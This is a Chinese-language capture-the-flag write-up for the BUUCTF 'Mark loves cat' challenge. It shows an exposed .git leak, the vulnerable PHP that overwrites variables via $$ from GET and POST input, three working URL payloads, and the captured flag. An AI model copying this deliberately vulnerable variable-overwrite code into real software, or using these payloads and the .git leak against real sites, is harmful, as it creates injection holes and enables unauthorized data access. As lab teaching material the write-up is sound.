BUUCTF——Mark loves cat
BUUCTF——Mark loves cat
进入靶场
简单的看了一下功能点
扫一下目录吧
扫目录发现一个.git
下一下源码看看
找到个flag.php和index.php
<?php$flag = file_get_contents('/flag');
再看看index.php(代码有点长,所以只留了后面有用的)
<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;
根据代码这道题应该有几种解法
一个一个来吧
方法一、
foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}
先看第一个
$_GET['flag'] === $x
:该条件检查$_GET['flag']
的值是否和当前遍历到的参数名$x
完全相等。===
是严格相等比较运算符,它不仅会比较值,还会比较数据类型。
$x !== 'flag'
:此条件保证当前遍历到的参数名不是flag
本身。
当$x = 'flag'
,$y = 'name'
时,$_GET['flag'] === $x
为 false
,因为$_GET['flag']
的值是'name'
,而$x
的值是'flag'
,所以不满足条件。
构造payload
?handsome=flag&flag=handsome
拿到flag
flag{43a901d4-8f66-43df-a525-9ce47464b283}
方法二、
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}
这段代码的主要功能是检查当前的 HTTP 请求中是否包含名为 flag
的参数。如果 GET 请求和 POST 请求里都没有 flag
参数,就会输出 $yds
变量的值,然后终止当前代码的执行。
所以构造payload
?yds=flag
拿到flag
flag{43a901d4-8f66-43df-a525-9ce47464b283}
方法三、
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is);
}
这段代码的主要功能是检查当前的 HTTP 请求中,flag
参数的值是否严格等于字符串 'flag'
。如果满足这个条件,就会输出变量 $is
的值,并终止当前代码的执行。
构造payload
?is=flag&flag=flag
拿到flag
flag{43a901d4-8f66-43df-a525-9ce47464b283}
下播!!!